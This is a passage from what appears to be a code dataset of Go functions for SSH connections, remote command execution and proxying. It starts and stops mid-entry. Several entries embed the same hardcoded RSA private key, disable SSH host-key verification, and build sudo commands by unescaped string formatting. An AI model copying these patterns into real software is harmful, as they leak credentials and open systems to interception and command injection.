KEY-----\\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\\n-----END RSA PRIVATE KEY-----`))\\n\\tif err != nil {\\n\\t\\t// fmt.Println(\\\"Unable to parse test key :\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\\n\\n\\tauth = append(auth, ssh.PublicKeys(testSingers))\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: \\t\\t\\t\\tuser,\\n\\t\\tAuth: \\t\\t\\t\\tauth,\\n\\t\\tTimeout: \\t\\t\\t30 * time.Second,\\n\\t\\tHostKeyCallback: \\tfunc(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn client, nil\\n}\",\n \"func connect(user, host string, port int) (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\\n-----END RSA PRIVATE KEY-----`))\\n\\tif err != nil {\\n\\t\\tglog.Infoln(\\\"Unable to parse test key :\\\", err)\\n\\t}\\n\\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\\n\\n\\tauth = append(auth, ssh.PublicKeys(testSingers))\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\t//\\t\\tTimeout: \\t\\t\\t60 * time.Second,\\n\\t\\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn session, nil\\n}\",\n \"func connect(user, host string, port int) (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\\n-----END RSA PRIVATE KEY-----`))\\n\\tif err != nil {\\n\\t\\tglog.Infoln(\\\"Unable to parse test key :\\\", err)\\n\\t}\\n\\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\\n\\n\\tauth = append(auth, ssh.PublicKeys(testSingers))\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\t//\\t\\tTimeout: \\t\\t\\t60 * time.Second,\\n\\t\\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn session, nil\\n}\",\n \"func formatDatabaseConnectCommand(clusterFlag string, active tlsca.RouteToDatabase) string {\\n\\tcmdTokens := append(\\n\\t\\t[]string{\\\"tsh\\\", \\\"db\\\", \\\"connect\\\"},\\n\\t\\tformatDatabaseConnectArgs(clusterFlag, active)...,\\n\\t)\\n\\treturn strings.Join(cmdTokens, \\\" \\\")\\n}\",\n \"func AppleHVSSH(username, identityPath, name string, sshPort int, inputArgs []string) error {\\n\\tsshDestination := username + \\\"@192.168.64.2\\\"\\n\\tport := strconv.Itoa(sshPort)\\n\\n\\targs := []string{\\\"-i\\\", identityPath, \\\"-p\\\", port, sshDestination,\\n\\t\\t\\\"-o\\\", \\\"IdentitiesOnly=yes\\\",\\n\\t\\t\\\"-o\\\", \\\"StrictHostKeyChecking=no\\\", \\\"-o\\\", \\\"LogLevel=ERROR\\\", \\\"-o\\\", \\\"SetEnv=LC_ALL=\\\"}\\n\\tif len(inputArgs) > 0 {\\n\\t\\targs = append(args, inputArgs...)\\n\\t} else {\\n\\t\\tfmt.Printf(\\\"Connecting to vm %s. To close connection, use `~.` or `exit`\\\\n\\\", name)\\n\\t}\\n\\n\\tcmd := exec.Command(\\\"ssh\\\", args...)\\n\\tlogrus.Debugf(\\\"Executing: ssh %v\\\\n\\\", args)\\n\\n\\tcmd.Stdout = os.Stdout\\n\\tcmd.Stderr = os.Stderr\\n\\tcmd.Stdin = os.Stdin\\n\\n\\treturn cmd.Run()\\n}\",\n \"func (rhost *rhostData) cmdConnectR(rec *receiveData) {\\n\\n\\t// Replay to address we got from peer\\n\\trhost.teo.sendToTcd(rec.tcd, CmdNone, []byte{0})\\n\\n\\tptr := 1 // pointer to first IP\\n\\tfrom := rec.rd.From() // from\\n\\tdata := rec.rd.Data() // received data\\n\\tnumIP := data[0] // number of received IPs\\n\\tport := int(C.getPort(unsafe.Pointer(&data[0]), C.size_t(len(data))))\\n\\n\\t// Create data buffer to resend to peers\\n\\t// data structure: <0 byte> <0 byte> \\n\\tmakeData := func(from, addr string, port int) []byte {\\n\\t\\tbuf := new(bytes.Buffer)\\n\\t\\tbinary.Write(buf, binary.LittleEndian, []byte(from))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, byte(0))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, byte(0))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, uint32(port))\\n\\t\\treturn buf.Bytes()\\n\\t}\\n\\n\\t// Send received IPs to this peer child(connected peers)\\n\\tfor i := 0; i <= int(numIP); i++ {\\n\\t\\tvar caddr *C.char\\n\\t\\tif i == 0 {\\n\\t\\t\\tclocalhost := append([]byte(localhostIP), 0)\\n\\t\\t\\tcaddr = (*C.char)(unsafe.Pointer(&clocalhost[0]))\\n\\t\\t} else {\\n\\t\\t\\tcaddr = (*C.char)(unsafe.Pointer(&data[ptr]))\\n\\t\\t\\tptr += int(C.strlen(caddr)) + 1\\n\\t\\t}\\n\\t\\taddr := C.GoString(caddr)\\n\\n\\t\\t// Send connected(who send this command) peer local IP address and port to\\n\\t\\t// all this host child\\n\\t\\tfor peer, arp := range rhost.teo.arp.m {\\n\\t\\t\\tif arp.mode != -1 && peer != from {\\n\\t\\t\\t\\trhost.teo.SendTo(peer, CmdConnect, makeData(from, addr, port))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Send connected(who send this command) peer IP address and port(defined by\\n\\t// this host) to all this host child\\n\\tfor peer, arp := range rhost.teo.arp.m {\\n\\t\\tif arp.mode != -1 && peer != from {\\n\\t\\t\\trhost.teo.SendTo(peer, CmdConnect,\\n\\t\\t\\t\\tmakeData(from, rec.tcd.GetAddr().IP.String(), rec.tcd.GetAddr().Port))\\n\\t\\t\\t// \\\\TODO: the discovery channel created here (issue #15)\\n\\t\\t}\\n\\t}\\n\\n\\t// Send all child IP address and port to connected(who send this command) peer\\n\\tfor peer, arp := range rhost.teo.arp.m {\\n\\t\\tif arp.mode != -1 && peer != from {\\n\\t\\t\\trhost.teo.sendToTcd(rec.tcd, CmdConnect,\\n\\t\\t\\t\\tmakeData(peer, arp.tcd.GetAddr().IP.String(), arp.tcd.GetAddr().Port))\\n\\t\\t}\\n\\t}\\n\\t//teolog.Debug(MODULE, \\\"CMD_CONNECT_R command processed, from:\\\", rec.rd.From())\\n\\trhost.teo.com.log(rec.rd, \\\"CMD_CONNECT_R command processed\\\")\\n}\",\n \"func (s *SSHOrch) InitSSHConnection(alias, username, server string) {\\n\\tconn, err := net.Dial(\\\"unix\\\", os.Getenv(\\\"SSH_AUTH_SOCK\\\"))\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer conn.Close()\\n\\n\\tag := agent.NewClient(conn)\\n\\tauths := []ssh.AuthMethod{ssh.PublicKeysCallback(ag.Signers)}\\n\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: username,\\n\\t\\tAuth: auths,\\n\\t}\\nrelogin:\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", server+\\\":22\\\", config)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\tsshRegister(username, server)\\n\\t\\tgoto relogin\\n\\t}\\n\\ts.addLookup(username, server, client)\\n\\tif len(alias) > 0 {\\n\\t\\ts.addLookupAlias(alias, client)\\n\\t}\\n}\",\n \"func ExecSSH(ctx context.Context, id Identity, cmd []string, opts plugin.ExecOptions) (plugin.ExecCommand, error) {\\n\\t// find port, username, etc from .ssh/config\\n\\tport, err := ssh_config.GetStrict(id.Host, \\\"Port\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tuser := id.User\\n\\tif user == \\\"\\\" {\\n\\t\\tif user, err = ssh_config.GetStrict(id.Host, \\\"User\\\"); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tif user == \\\"\\\" {\\n\\t\\tuser = \\\"root\\\"\\n\\t}\\n\\n\\tstrictHostKeyChecking, err := ssh_config.GetStrict(id.Host, \\\"StrictHostKeyChecking\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tconnection, err := sshConnect(id.Host, port, user, strictHostKeyChecking != \\\"no\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to connect: %s\\\", err)\\n\\t}\\n\\n\\t// Run command via session\\n\\tsession, err := connection.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to create session: %s\\\", err)\\n\\t}\\n\\n\\tif opts.Tty {\\n\\t\\t// sshd only processes signal codes if a TTY has been allocated. So set one up when requested.\\n\\t\\tmodes := ssh.TerminalModes{ssh.ECHO: 0, ssh.TTY_OP_ISPEED: 14400, ssh.TTY_OP_OSPEED: 14400}\\n\\t\\tif err := session.RequestPty(\\\"xterm\\\", 40, 80, modes); err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Unable to setup a TTY: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\n\\texecCmd := plugin.NewExecCommand(ctx)\\n\\tsession.Stdin, session.Stdout, session.Stderr = opts.Stdin, execCmd.Stdout(), execCmd.Stderr()\\n\\n\\tif opts.Elevate {\\n\\t\\tcmd = append([]string{\\\"sudo\\\"}, cmd...)\\n\\t}\\n\\n\\tcmdStr := shellquote.Join(cmd...)\\n\\tif err := session.Start(cmdStr); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\texecCmd.SetStopFunc(func() {\\n\\t\\t// Close the session on context cancellation. Copying will block until there's more to read\\n\\t\\t// from the exec output. For an action with no more output it may never return.\\n\\t\\t// If a TTY is setup and the session is still open, send Ctrl-C over before closing it.\\n\\t\\tif opts.Tty {\\n\\t\\t\\tactivity.Record(ctx, \\\"Sent SIGINT on context termination: %v\\\", session.Signal(ssh.SIGINT))\\n\\t\\t}\\n\\t\\tactivity.Record(ctx, \\\"Closing session on context termination for %v: %v\\\", id.Host, session.Close())\\n\\t})\\n\\n\\t// Wait for session to complete and stash result.\\n\\tgo func() {\\n\\t\\terr := session.Wait()\\n\\t\\tactivity.Record(ctx, \\\"Closing session for %v: %v\\\", id.Host, session.Close())\\n\\t\\texecCmd.CloseStreamsWithError(nil)\\n\\t\\tif err == nil {\\n\\t\\t\\texecCmd.SetExitCode(0)\\n\\t\\t} else if exitErr, ok := err.(*ssh.ExitError); ok {\\n\\t\\t\\texecCmd.SetExitCode(exitErr.ExitStatus())\\n\\t\\t} else {\\n\\t\\t\\texecCmd.SetExitCodeErr(err)\\n\\t\\t}\\n\\t}()\\n\\treturn execCmd, nil\\n}\",\n \"func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\\n\\tresults := make(chan string, 100)\\n\\ttimeout := time.After(5 * time.Second)\\n\\n\\tfor _, hostname := range hosts {\\n\\t\\tgo func(hostname string) {\\n\\t\\t\\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\\n\\t\\t}(hostname)\\n\\t}\\n\\n\\tfor i := 0; i < len(hosts); i++ {\\n\\t\\tselect {\\n\\t\\tcase res := <-results:\\n\\t\\t\\t//fmt.Print(res)\\n\\t\\t\\tresult = res\\n\\t\\t\\terror = false\\n\\t\\tcase <-timeout:\\n\\t\\t\\t//fmt.Println(\\\"Timed out!\\\")\\n\\t\\t\\tresult = \\\"Time out!\\\"\\n\\t\\t\\terror = true\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (m *Machine) connect(conf *ssh.ClientConfig, retry, wait int64) (*ssh.Client, error) {\\n\\n\\tif conf.Timeout == 0 {\\n\\t\\tclient, err := ssh.Dial(\\\"tcp\\\", m.address(), conf)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Wrap(err, \\\"could not establish machine connection\\\")\\n\\t\\t}\\n\\t\\treturn client, nil\\n\\t}\\n\\n\\tdeadline := conf.Timeout + (time.Duration(retry*wait) * time.Second) + (time.Duration(retry) * conf.Timeout)\\n\\n\\tctx, cancel := context.WithTimeout(context.Background(), deadline+(1*time.Second))\\n\\tdefer cancel()\\n\\n\\tch := make(chan *ssh.Client, 1)\\n\\tec := make(chan error, 1)\\n\\n\\tgo func(r int64) {\\n\\t\\tfor {\\n\\t\\t\\tclient, err := ssh.Dial(\\\"tcp\\\", m.address(), conf)\\n\\t\\t\\tif err != nil && r > 0 {\\n\\t\\t\\t\\ttime.Sleep(time.Duration(wait) * time.Second)\\n\\t\\t\\t\\tr--\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tec <- err\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tch <- client\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}(retry)\\n\\n\\tselect {\\n\\tcase c := <-ch:\\n\\t\\treturn c, nil\\n\\tcase e := <-ec:\\n\\t\\treturn nil, e\\n\\tcase <-ctx.Done():\\n\\t\\treturn nil, errors.Errorf(\\\"Retried %v time(s) with a %v wait. No more retries!\\\", retry, (time.Duration(wait) * time.Second))\\n\\t}\\n}\",\n \"func (e *SSHExecutor) Execute(cmd string, sudo bool, timeout ...time.Duration) ([]byte, []byte, error) {\\n\\t// try to acquire root permission\\n\\tif e.Sudo || sudo {\\n\\t\\tcmd = fmt.Sprintf(\\\"sudo -H -u root bash -c \\\\\\\"%s\\\\\\\"\\\", cmd)\\n\\t}\\n\\n\\t// set a basic PATH in case it's empty on login\\n\\tcmd = fmt.Sprintf(\\\"PATH=$PATH:/usr/bin:/usr/sbin %s\\\", cmd)\\n\\n\\tif e.Locale != \\\"\\\" {\\n\\t\\tcmd = fmt.Sprintf(\\\"export LANG=%s; %s\\\", e.Locale, cmd)\\n\\t}\\n\\n\\t// run command on remote host\\n\\t// default timeout is 60s in easyssh-proxy\\n\\tif len(timeout) == 0 {\\n\\t\\ttimeout = append(timeout, executeDefaultTimeout)\\n\\t}\\n\\n\\tstdout, stderr, done, err := e.Config.Run(cmd, timeout...)\\n\\n\\tzap.L().Info(\\\"SSHCommand\\\",\\n\\t\\tzap.String(\\\"host\\\", e.Config.Server),\\n\\t\\tzap.String(\\\"port\\\", e.Config.Port),\\n\\t\\tzap.String(\\\"cmd\\\", cmd),\\n\\t\\tzap.Error(err),\\n\\t\\tzap.String(\\\"stdout\\\", stdout),\\n\\t\\tzap.String(\\\"stderr\\\", stderr))\\n\\n\\tif err != nil {\\n\\t\\tbaseErr := ErrSSHExecuteFailed.\\n\\t\\t\\tWrap(err, \\\"Failed to execute command over SSH for '%s@%s:%s'\\\", e.Config.User, e.Config.Server, e.Config.Port).\\n\\t\\t\\tWithProperty(ErrPropSSHCommand, cmd).\\n\\t\\t\\tWithProperty(ErrPropSSHStdout, stdout).\\n\\t\\t\\tWithProperty(ErrPropSSHStderr, stderr)\\n\\t\\tif len(stdout) > 0 || len(stderr) > 0 {\\n\\t\\t\\toutput := strings.TrimSpace(strings.Join([]string{stdout, stderr}, \\\"\\\\n\\\"))\\n\\t\\t\\tbaseErr = baseErr.\\n\\t\\t\\t\\tWithProperty(cliutil.SuggestionFromFormat(\\\"Command output on remote host %s:\\\\n%s\\\\n\\\",\\n\\t\\t\\t\\t\\te.Config.Server,\\n\\t\\t\\t\\t\\tcolor.YellowString(output)))\\n\\t\\t}\\n\\t\\treturn []byte(stdout), []byte(stderr), baseErr\\n\\t}\\n\\n\\tif !done { // timeout case,\\n\\t\\treturn []byte(stdout), []byte(stderr), ErrSSHExecuteTimedout.\\n\\t\\t\\tWrap(err, \\\"Execute command over SSH timedout for '%s@%s:%s'\\\", e.Config.User, e.Config.Server, e.Config.Port).\\n\\t\\t\\tWithProperty(ErrPropSSHCommand, cmd).\\n\\t\\t\\tWithProperty(ErrPropSSHStdout, stdout).\\n\\t\\t\\tWithProperty(ErrPropSSHStderr, stderr)\\n\\t}\\n\\n\\treturn []byte(stdout), []byte(stderr), nil\\n}\",\n \"func (p *Proxy) onConnect(host string, ctx *goproxy.ProxyCtx) (*goproxy.ConnectAction, string) {\\n\\treturn goproxy.MitmConnect, host\\n}\",\n \"func SendCommand(conn net.Conn, cmd string) error {\\n\\tlog.Debug(\\\"Sending command: \\\" + cmd)\\n\\tif _, err := fmt.Fprintf(conn, cmd+\\\"\\\\n\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tlog.Debug(\\\"Command \\\", cmd, \\\" successfuly send\\\")\\n\\treturn nil\\n}\",\n \"func (c *SDKActor) Connect(address string) string {\\n resultChan := make(chan string, 0)\\n c.actions <- func() {\\n fmt.Printf(\\\"Can open connection to %s\\\", address)\\n\\n result := c.execute(address)\\n\\n resultChan <- result\\n }\\n return <-resultChan\\n}\",\n \"func (d *Docker) Connect(r *kite.Request) (interface{}, error) {\\n\\tvar params struct {\\n\\t\\t// The ID of the container. This needs to be created and started before\\n\\t\\t// we can use Connect.\\n\\t\\tID string\\n\\n\\t\\t// Cmd contains the command which is executed and passed to the docker\\n\\t\\t// exec api. If empty \\\"bash\\\" is used.\\n\\t\\tCmd string\\n\\n\\t\\tSizeX, SizeY int\\n\\n\\t\\tRemote Remote\\n\\t}\\n\\n\\tif err := r.Args.One().Unmarshal(&params); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif params.ID == \\\"\\\" {\\n\\t\\treturn nil, errors.New(\\\"missing arg: container ID is empty\\\")\\n\\t}\\n\\n\\tcmd := []string{\\\"bash\\\"}\\n\\tif params.Cmd != \\\"\\\" {\\n\\t\\tcmd = strings.Fields(params.Cmd)\\n\\t}\\n\\n\\tcreateOpts := dockerclient.CreateExecOptions{\\n\\t\\tContainer: params.ID,\\n\\t\\tTty: true,\\n\\t\\tCmd: cmd,\\n\\t\\t// we attach to anything, it's used in the same was as with `docker\\n\\t\\t// exec`\\n\\t\\tAttachStdout: true,\\n\\t\\tAttachStderr: true,\\n\\t\\tAttachStdin: true,\\n\\t}\\n\\n\\t// now we create a new Exec instance. It will return us an exec ID which\\n\\t// will be used to start the created exec instance\\n\\td.log.Info(\\\"Creating exec instance\\\")\\n\\tex, err := d.client.CreateExec(createOpts)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// these pipes are important as we are acting as a proxy between the\\n\\t// Browser (client side) and Docker Deamon. For example, every input coming\\n\\t// from the client side is being written into inWritePipe and this input is\\n\\t// then read by docker 